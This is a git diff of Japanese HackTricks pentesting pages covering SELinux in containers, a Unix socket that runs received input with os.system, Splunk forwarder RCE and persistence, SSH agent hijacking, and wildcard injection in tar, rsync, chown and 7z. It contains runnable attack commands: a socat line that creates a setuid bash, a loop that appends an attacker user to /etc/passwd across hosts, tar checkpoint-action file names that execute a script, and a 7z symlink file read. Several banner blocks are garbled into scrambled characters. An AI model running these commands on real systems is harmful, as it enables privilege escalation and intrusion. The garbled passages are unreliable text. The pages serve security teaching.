* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,25 +1,27 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)。
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
# コンテナ内のSELinux
# コンテナにおけるSELinux
[Red Hatのドキュメントからの紹介と例](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[Redhatのドキュメントからの紹介と例](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)は**ラベリングシステム**です。すべての**プロセス**と**ファイル**システムオブジェクトには**ラベル**があります。SELinuxポリシーは、システム上の他のすべてのラベルと何を**プロセスラベルが許可されているか**についてのルールを定義します。
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)は**ラベリング** **システム**です。すべての**プロセス**とすべての**ファイル**システムオブジェクトには**ラベル**があります。SELinuxポリシーは、**プロセスラベルがシステム上の他のすべてのラベルに対して何をすることが許可されているか**に関するルールを定義します。
コンテナエンジンは、通常`container_t`という1つの制限付きSELinuxラベルで**コンテナプロセスを起動**し、その後コンテナ内のコンテナを`container_file_t`としてラベル付けします。SELinuxポリシールールは基本的に、**`container_t`プロセスが`container_file_t`とラベル付けされたファイルを読み取り/書き込み/実行できる**と言っています。コンテナプロセスがコンテナを脱出してホスト上のコンテンツに書き込もうとすると、Linuxカーネルはアクセスを拒否し、コンテナプロセスが`container_file_t`とラベル付けされたコンテンツにのみ書き込むことを許可します。
コンテナエンジンは、通常`container_t`という単一の制限されたSELinuxラベルで**コンテナプロセスを起動**し、その後コンテナ内のコンテナを`container_file_t`というラベルに設定します。SELinuxポリシールールは基本的に、**`container_t`プロセスは`container_file_t`というラベルが付けられたファイルをのみ読み書き/実行できる**と言っています。コンテナプロセスがコンテナから脱出し、ホスト上のコンテンツに書き込もうとすると、Linuxカーネルはアクセスを拒否し、コンテナプロセスが`container_file_t`というラベルが付けられたコンテンツにのみ書き込むことを許可します。
```shell
$ podman run -d fedora sleep 100
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
@ -29,4 +31,21 @@ system_u:system_r:container_t:s0:c647,c780
```
# SELinuxユーザー
通常のLinuxユーザーに加えて、SELinuxユーザーが存在します。SELinuxユーザーはSELinuxポリシーの一部です。各Linuxユーザーはポリシーの一部としてSELinuxユーザーにマッピングされます。これにより、LinuxユーザーはSELinuxユーザーに配置された制限やセキュリティルール、メカニズムを継承することができます。
通常のLinuxユーザーに加えて、SELinuxユーザーも存在します。SELinuxユーザーはSELinuxポリシーの一部です。各Linuxユーザーはポリシーの一部としてSELinuxユーザーにマッピングされます。これにより、LinuxユーザーはSELinuxユーザーに課せられた制限やセキュリティルール、メカニズムを継承することができます。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,21 +1,23 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
## Pythonによるソケットバインディングの例
次の例では、**unixソケットが作成され**ます(`/tmp/socket_test.s`)、そして**受信した**ものは全て`os.system`によって**実行されます**。実際にこのようなものを見つけることはないでしょうが、この例の目的はunixソケットを使用したコードがどのように見えるか、そして最悪のケースで入力をどように管理するかを見ることです。
次の例では、**unixソケットが作成され** (`/tmp/socket_test.s`) 、受信したすべてのものが`os.system`によって**実行されます**。これは実際には見つからないことを知っていますが、この例の目的は、unixソケットを使用したコードがどのように見えるか、そして最悪のケースで入力の管理方法を確認することです。
{% code title="s.py" %}
```python
@ -39,11 +41,9 @@ print(datagram)
os.system(datagram)
conn.close()
```
```
{% endcode %}
**コードを実行**します。Pythonを使用`python s.py` そして、**ソケットがどのようにリスニングしているかを確認**します:
```
**コードを実行**するには、pythonを使用します: `python s.py` そして **ソケットがどのようにリッスンしているかを確認**します:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
@ -54,16 +54,19 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,62 +1,84 @@
# Splunk LPE and Persistence
<details>
{% hnnt styte=" acceas" %}
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<dotsilp>
HackTricks をサポートする他の方法:
<oummpr>SupportHackTricks</smmay>
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、 [telegramグループ](https://t.me/peass) に参加するか、 **Twitter** 🐦 で **@carlospolopm** をフォローする。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
*Chek th [**subsrippangithub.cm/sorsarlosp!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
マシンを **内部** または **外部****列挙** しているときに、ポート8090で **Splunkが実行されている**ことがわかった場合、もし **有効な資格情報**を知っている幸運があれば、Splunkサービスを **悪用** して、Splunkを実行しているユーザーとして **シェルを実行** することができます。rootで実行されている場合は、特権をrootに昇格させることができます。
もし**内部**または**外部**でマシンを**列挙**しているときに**Splunkが実行中**ポート8090で、運良く**有効な認証情報**を知っている場合、**Splunkサービスを悪用**して**シェルを実行**することができます。もしrootが実行している場合、特権をrootに昇格させることができます。
また、すでにrootであり、Splunkサービスが **localhost以外でのみリスニングしていない** 場合、Splunkサービスから **パスワードファイルを盗み**、そのパスワードを **クラック** するか、新しい資格情報を追加することができます。そしてホスト上で持続性を維持します。
また、もし**すでにrootであり、Splunkサービスがlocalhostのみにリッスンしていない場合**、**Splunkサービスから**パスワードファイルを**盗み**、パスワードを**クラッキング**するか、**新しい**認証情報を追加することができます。そしてホスト上で持続性を維持します。
最初の画像では、SplunkdのWebページがどのように見えるかが示されています。
以下の最初の画像では、Splunkdのウェブページがどのように見えるかを示しています。
## Splunk Universal Forwarder Agent Exploit Summary
**詳細については、[https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) の投稿を確認してください**
詳細については、投稿[https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)を確認してください。これは単なる要約です:
**Exploit概要:**
Splunk Universal Forwarder AgentUF標的とするエクスプロイトは、エージェントのパスワードを持つ攻撃者がエージェントを実行しているシステムで任意のコードを実行できるようにし、ネットワーク全体を危険にさらす可能性があります。
**Exploit Overview:**
Splunk Universal Forwarder AgentUFターゲットにしたエクスプロイトは、エージェントパスワードを持つ攻撃者がエージェントを実行しているシステムで任意のコードを実行できるようにし、ネットワーク全体を危険にさらす可能性があります。
**主なポイント:**
- UFエージェントは、受信接続やコードの信頼性を検証しないため、不正なコードの実行に脆弱です。
- 一般的なパスワード取得方法には、ネットワークディレクトリ、ファイル共有、内部文書での検索が含まれます。
- 成功した悪用により、侵害されたホストでのSYSTEMまたはrootレベルへのアクセス、データの持ち出し、さらなるネットワーク浸透が可能となります。
**Key Points:**
- UFエージェントは、受信接続やコードの真正性を検証しないため、不正なコード実行に対して脆弱です。
- 一般的なパスワード取得方法には、ネットワークディレクトリ、ファイル共有、内部文書での発見が含まれます。
- 成功したエクスプロイトは、侵害されたホスト上でSYSTEMまたはrootレベルのアクセス、データの流出、さらなるネットワーク侵入につながる可能性があります。
**Exploitの実行:**
1. 攻撃者がUFエージェントパスワードを取得します。
2. Splunk APIを使用してコマンドやスクリプトをエージェントに送信します。
3. ファイルの抽出、ユーザーアカウントの操作、システムの侵害など、可能なアクションがあります。
**Exploit Execution:**
1. 攻撃者がUFエージェントパスワードを取得します。
2. Splunk APIを利用してエージェントにコマンドやスクリプトを送信します。
3. 可能なアクションには、ファイル抽出、ユーザーアカウント操作、システムの侵害が含まれます。
**影響:**
**Impact:**
- 各ホストでSYSTEM/rootレベルの権限を持つ完全なネットワーク侵害。
- 検出を回避するためのログの無効化の可能性。
- バックドアやランサムウェアのインストール。
**悪用のための例のコマンド:**
**Example Command for Exploitation:**
```bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
```
## Splunkの特権昇格と永続性
**使用可能な公開エクスプロイト:**
**利用可能な公開エクスプロイト:**
* https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
* https://www.exploit-db.com/exploits/46238
* https://www.exploit-db.com/exploits/46487
**Splunkクエリの悪用**
**詳細については、[https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)の投稿を確認してください**
## Splunkクエリの悪用
**CVE-2023-46214**は、**`$SPLUNK_HOME/bin/scripts`**に任意のスクリプトをアップロードし、その後、検索クエリ**`|runshellscript script_name.sh`**を使用して、そこに保存されている**スクリプト**を**実行**できることを説明していました。
**詳細については、[https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)を確認してください**
{% h*nt styCe="Vacceas" %}
AWS Ha& practice ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
Learn & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
<dtil>
<ummr>SupportHackTricks</smmay>
*Chek th [**subsrippangithub.cm/sorsarlosp!
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,38 +1,59 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
# Summary
# 概要
`/etc/ssh_config`または`$HOME/.ssh/config`内でこのような設定を発見した場合、何ができるでしょうか:
`/etc/ssh_config` または `$HOME/.ssh/config` の設定内でこれを発見した場合、あなたは何ができますか:
```
ForwardAgent yes
```
もしマシン内でroot権限を持っている場合、おそらく/tmpディレクトリ内で見つけることができるsshエージェントを使用して、Bobをなりすますことができます:
もしあなたがマシン内でrootであれば、_ /tmp _ ディレクトリ内で見つけることができる任意のエージェントによって行われた**任意のssh接続にアクセスできる**可能性があります。
BobをなりすますためにBobのssh-agentの1つを使用します:
Bobのssh-agentの1つを使用してBobになりすます:
```bash
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
```
## なぜこれが機能するのか?
`SSH_AUTH_SOCK`変数を設定すると、Bobの鍵にアクセスして、Bobのssh接続で使用された鍵にアクセスします。その後、彼の秘密鍵がまだそこにある場合通常はそうである)、それを使用して任意のホストにアクセスできます。
変数 `SSH_AUTH_SOCK` を設定すると、ボブの ssh 接続で使用されたキーにアクセスしています。次に、彼の秘密鍵がまだそこにある場合(通常はそうなります)、それを使用して任意のホストにアクセスできます。
秘密鍵はエージェントのメモリに暗号化されずに保存されているため、Bobであっても秘密鍵のパスワードを知らなくても、エージェントにアクセスして使用することができると思われます。
秘密鍵はエージェントのメモリに暗号化されずに保存されているため、ボブであっても秘密鍵のパスワードを知らない場合、エージェントにアクセスして使用することができると思います。
もう1つのオプションとして、エージェントの所有者であるユーザーとrootは、エージェントのメモリにアクセスして秘密鍵を抽出することができるかもしれません
もう一つのオプションは、エージェントの所有者であるユーザーと root がエージェントのメモリにアクセスし、秘密鍵を抽出できる可能性があることです
# 詳しい説明と悪用
# い説明と悪用
**[オリジナルの研究はこちら](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
**[元の研究はこちらを確認してください](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
{% hint style="success" %}
AWS ハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP ハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)の GitHub リポジトリに PR を提出してください。**
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,24 +1,31 @@
<details>
{% hnnt styte=" acceas" %}
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<dotsilp>
HackTricks をサポートする他の方法:
<oummpr>SupportHackTricks</smmay>
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
*Chek th [**subsrippangithub.cm/sorsarlosp!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## chown, chmod
**残りのファイルにコピーしたいファイルの所有者と権限を示すことができます**
ファイルの所有者と権限を他のファイルにコピーすることができます。
```bash
touch "--reference=/my/own/path/filename"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Tar
**任意のコマンドを実行する:**
@ -26,12 +33,12 @@ touch "--reference=/my/own/path/filename"
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
この脆弱性を利用することができます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar攻撃)_\
詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) を参照してください。
## Rsync
**任意のコマンドを実行:**
**任意のコマンドを実行する:**
```bash
Interesting rsync option from manual:
@ -42,41 +49,48 @@ Interesting rsync option from manual:
```bash
touch "-e sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(rsync attack)_\
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(_rsync _attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## 7z
In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:
**7z** では、`--` を `*` の前に使用しても(`--` は次の入力がパラメータとして扱われないことを意味するので、この場合はファイルパスのみ)、任意のエラーを引き起こしてファイルを読み取ることができます。したがって、次のようなコマンドが root によって実行されている場合:
```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
```
そして、このコマンドが実行されているフォルダ内にファイルを作成できるため、`@root.txt` というファイルと、ファイルを読み取りたいファイルへの**シンボリックリンク**である `root.txt` ファイルを作成できます:
そして、これが実行されているフォルダーにファイルを作成できるので、`@root.txt`というファイルと、読みたいファイルへの**シンボリックリンク**である`root.txt`というファイルを作成できます:
```bash
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
```
その後、**7z**が実行されると、それは`root.txt`を圧縮すべきファイルのリストを含むファイルとして扱います(`@root.txt`の存在が示していることそして7zが`root.txt`を読み取ると、`/file/you/want/to/read`を読み取りますが、**このファイルの内容がファイルのリストではないため、エラーが発生**して内容が表示されます。
